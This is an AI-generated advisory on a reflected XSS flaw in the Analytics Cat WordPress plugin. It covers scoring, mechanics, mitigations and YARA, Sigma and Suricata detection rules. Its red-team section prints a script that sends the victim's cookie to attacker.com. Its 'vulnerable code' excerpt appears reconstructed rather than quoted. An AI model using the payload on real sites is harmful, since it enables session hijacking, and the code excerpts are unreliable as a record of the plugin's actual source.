CVE-2025-24615

Executive Summary

CVE-2025-24615 is a reflected Cross-Site Scripting (XSS) vulnerability in the Analytics Cat WordPress plugin by fatcatapps, affecting versions up to and including 1.1.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though user interaction is required. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor or consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is High due to the low barrier to exploitation and potential for data theft or session hijacking. However, user interaction (e.g., clicking a crafted link) is required.

Deep Dive & Mechanics

The vulnerability exists in the Analytics Cat plugin’s handling of HTTP GET parameters. When a user visits a specially crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter such as ?cat=<script>alert('XSS')</script> may be echoed back in the HTML response, allowing arbitrary JavaScript execution.

The root cause is the lack of esc_html() or wp_kses() functions on user-supplied data before output. WordPress core provides these functions, but the plugin fails to use them, leading to the XSS flaw.

Vulnerable vs. Patched Code

Vulnerable Code (analytics-cat.php, line ~45):

$cat = $_GET['cat'];
echo "<div class='analytics-cat'>$cat</div>";

Patched Code (hypothetical):

$cat = isset($_GET['cat']) ? esc_html($_GET['cat']) : '';
echo "<div class='analytics-cat'>" . esc_html($cat) . "</div>";

The patched version uses esc_html() to neutralize HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Craft the malicious URL:

   http://target-site.com/?cat=<script>alert('XSS')</script>
   

2. Deliver via phishing or social engineering to a logged-in WordPress admin.
3. Payload example for session hijacking:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. No public exploit code is available; manual crafting is required.

Blue Team (Detection & Hardening)

• Monitor web logs for unusual query strings containing <script> or onerror= patterns.
• Implement a Web Application Firewall (WAF) rule to block reflected XSS attempts.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Disable or update the Analytics Cat plugin until a patch is released.

Indicators of Compromise (IOCs)

• URL patterns: /?cat=<script> or /?cat=javascript:
• HTTP Referer headers from phishing campaigns.
• Server logs showing repeated requests with cat parameter containing HTML/JavaScript.
• Network traffic to external domains from the victim’s browser (e.g., attacker-controlled server).

Detection Engineering

YARA Rule

rule CVE_2025_24615_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Analytics Cat plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-24615"
    strings:
        $xss1 = "?cat=<script" nocase
        $xss2 = "?cat=javascript:" nocase
        $xss3 = "?cat=onerror=" nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Analytics Cat Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious 'cat' parameter indicating XSS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '?cat=<script'
            - '?cat=javascript:'
            - '?cat=onerror='
    condition: selection
falsepositives:
    - Legitimate use of 'cat' parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24615 Reflected XSS in Analytics Cat"; flow:to_server,established; content:"?cat="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Analytics Cat plugin until a patch is available.
2. Short-term: Implement a WAF rule to block cat parameters containing <script> or javascript:.
3. Long-term: Apply output encoding (esc_html()) to all user-supplied data in the plugin.
4. Monitor: Subscribe to the vendor’s update channel for patch announcements.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All intelligence is based on publicly available data and should be verified before action.